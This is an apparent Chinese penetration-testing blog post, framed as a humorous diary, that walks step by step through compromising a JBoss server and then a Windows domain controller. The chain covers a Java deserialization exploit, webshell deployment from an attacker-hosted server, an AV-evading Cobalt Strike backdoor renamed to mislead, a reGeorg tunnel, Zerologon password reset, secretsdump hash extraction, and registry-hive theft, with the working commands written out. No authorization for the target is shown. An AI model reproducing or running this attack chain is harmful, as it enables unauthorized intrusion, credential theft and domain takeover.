牛红红的日记(平平无奇拿下域控)

  • 牛红红的日记(平平无奇拿下域控)已关闭评论
  • 15 views
  • A+

牛红红的日记(平平无奇拿下域控)

一、引文

x年x月x日 晴

我是一只牛,家里的老大,我叫牛红红,我还有六个兄弟,分别是橙黄绿青蓝紫。后来我知道这名字是一个头上带着葫芦的算命的老头起的,长大后我问他为什么要起这个名字,老头说当年他爷爷被妖精抓走,于是他便怒气冲冲的去解救,上去便是一句:“妖精!还我爷爷!”没想到妖精和颜悦色的问了他一个问题,他一直苦苦思索,始终没有结果,说着便给我看了一张他珍藏多年的图片。

-w394

他希望我不会重蹈覆辙。我心疼老头这么大年纪,身体又弱,便问老头有什么能帮他的吗,老头颤颤巍巍的坐到了一块石头上,抽了口烟和蔼的望着我,

-w394

说:我多年来游走各地,最近我得到了一些线索,可能存在答案,你帮我看看吧。

线索:

-w394

二、正文

步骤一: 获取网站权限

我根据老头给的线索进行了访问,发现是一个JBOOS控制台。

-w394

一瞬间我的脑海闪过很多想法,于是我用了最简单的一种方法,老头,你这线索的利用的工具给我用用呗,经过软磨硬泡终于从老头那骗来了java反序列化终极测试工具。发现目标存在命令执行漏洞,存在域控。

-w394

但是发现老头给的工具部分命令执行不完整,没办法,看来得先获取一个webshell。

方法一:利用此工具上传上传webshell至网站根目录。

利用工具自带文件管理功能,找到文件web目录

C:\BAG\JBOSS\jboss-4.2.3.GA\server\default\deploy\jmx-console.war

-w394

利用上传功能上传至指定目录。

-w394

方法二:

利用现成的工具,参数-u后面加目标地址可以直接获得一个交互式shell

-w394

方法三:远程部署获取webshell

1.将shell.jsp文件压缩为zip文件,更改后缀为war文件

::: hljs-center

-w394

:::

2.将shell.war上传到远程服务器上,在该目录下利用python临时开启一个http服务

python -m SimpleHTTPServer 8000 #Python 2
python -m http.server 8000 #Python 3

访问地址,可以看到服务开启成功

-w394

3.访问目标控制台http://1.2.3.4/jmx-console

搜索关键字jboss.deployment找到flavor=URL,type=DeploymentScanner点进去

-w394

之后搜索关键字void addURL(),找到远程部署地址填写框,如下图

-w394

填写完成后点击invoke,若成功会提示部署成功,点击下图中的Back to MBean View

-w394

可以查看部署的物理路径

-w394

点击应用更改,会跳转到部署好后的访问地址

-w394

4.使用冰蝎测试连接

-w394

获取webshell结束。

步骤二: 获取服务器权限

利用获取的webshell上线cs的木马。

1.服务器运行CS服务端

./teamserver IP 密码

-w394

2.本地运行CS客户端,添加一个监听器,并生成windows后门

添加监听器

-w394

生成windows后门

attacks->packages->Windows Executable

-w394

选择监听器

-w394

生成完毕后改个名字,增加迷惑性

-w394

3.利用冰蝎上传文件

-w394

cmd下运行

-w394

查看服务端未上线,dir再次查看,文件消失,猜测目标可能开启安全防护软件。

利用CS插件bypassAV快速生成一个后门文件

::: hljs-center

-w394

:::

上传,执行,上线。

-w394

右击interact获取beacon

-w394

-w394

步骤三: 获取域控主机权限

由于之前已经确定了域控IP,为了更快拿下域控,遂决定尝试下MS14-068,失败,目标不存在漏洞。

MS14-068具体利用方法,可以参考链接地址:

MS14-068漏洞复现 https://blog.csdn.net/lhh134/article/details/104139081

本机翻了一下没有发现有价值的线索,接着转变思路,看能不能从其他机器上获取有用的东西,利用抓取到的hash尝试登陆其他机器,失败。

继续按照此思路对内网存活机器常见端口进行探测看是否存在ms17010漏洞或者弱口令的主机。

为方便后续测试,搭建一个代理。上传常见的几个代理软件(注意部分服务器可能会限制只允许80、443端口流量通过),发现被杀后决定使用reg,

利用webshell将对应语言的版本上传到网站根目录,

本机运行如下命令,开启代理

$ python reGeorgSocksProxy.py -p 8080 -u http://目标网站/tunnel.jsp

-p #指定监听本地的端口

-u #指定脚本的连接地址

修改本地的proxychain的配置文件,kali下默认位置为/etc/proxychains.conf

-w394

测试下是否可以正常使用,执行命令

proxychain curl ipinfo.io

如下图可访问并获取到了代理地址的IP

-w394

利用代理探测下弱口令

-w394

大约在这个时间点,有别的事情处理,就把资料简单整理了一下,权限也放着没动。

过了N久以后,等我有时间的时候想起这个,刚好在这期间出现了新的域控漏洞,估摸着时间也出来没多久,对方不会这么快,于是再次尝试域提权漏洞,根据网上公开的利用方式

第一步,探测目标是否存在漏洞,发现存在漏洞

 proxychains python3 zerologon_tester.py XXX013 10.0.19.13

-w394

第二步,将目标域控密码置空

proxychains python3 cve-2020-1472-exploit.py XXX013 10.0.19.13

-w394

第三步,利用impacket下的secretsdump.py脚本获取域控hash

proxychains python3 secretsdump.py xxx.local/XXX013\[email protected] -just-dc -no-pass

-w394

第四步,利用impacket下的wmiexec.py脚本获取一个域控的shell,直接利用powershell将域控上线到cs,到此步骤获取了域控权限,已经可以登录任意域内成员主机。另外为避免脱域还需要把原先的hash还原回去。

-w394

第五步,利用获取的shell,提取域控原始hash。

在shell中依次执行以下命令,保存文件-下载文件-删除文件

reg save HKLM\SYSTEM system.save #利用注册表导出hash并保存为system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save #下载文件system.save到本地
get sam.save
get security.save
del /f system.save #删除文 system.save
del /f sam.save
del /f security.save

-w394

提取出原始hash

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

-w394

第六步,根据提权到的原始hash对域控进行还原,避免脱域。

python3 reinstall_original_pw.py XXX013 10.0.19.13 5e80d11de2760cc86ec02b67a544e269

-w394

第七步,再尝试下是否能用空密码登录,不能登录则代表还原成功。

到此,域控获取结束。

三、尾结

本次的流程:

1.获取网站权限-2.获取服务器权限-3.搭建内网代理-4.利用域控漏洞获取域控权限

最后,通过搜索,我得到了文件《X友有关葫芦娃爷爷名字的推测.doc》。

抱着忐忑的心情我缓缓的点开了文件:

image.png
::: hljs-center

-w394

:::